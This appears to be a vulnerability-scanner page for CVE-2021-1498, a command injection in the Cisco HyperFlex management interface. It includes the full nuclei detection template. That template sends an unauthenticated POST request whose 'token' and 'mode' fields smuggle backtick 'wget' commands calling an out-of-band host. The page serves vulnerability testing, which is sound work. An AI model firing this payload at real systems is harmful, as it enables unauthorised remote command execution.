Cisco HyperFlex HX Data Platform - Remote Command Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system.

Fix

Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.

How to confirm it

Send: POST /storfs-asup
Positive when: contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2021-1498 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-1498

info:
  name: Cisco HyperFlex HX Data Platform - Remote Command Execution
  author: gy741
  severity: critical
  description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1498
    - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
    - https://twitter.com/Unit42_Intel/status/1402655493735206915
    - https://twitter.com/ptswarm/status/1390300625129201664
    - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-1498
    cwe-id: CWE-78
    epss-score: 0.99999
    epss-percentile: 0.9999
    cpe: cpe:2.3:o:cisco:hyperflex_hx_data_platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: hyperflex_hx_data_platform
  tags: cve,cve2021,kev,packetstorm,cisco,rce,oast,mirai,vkev,vuln

http:
  - raw:
      - |
        POST /storfs-asup HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        action=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}`

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from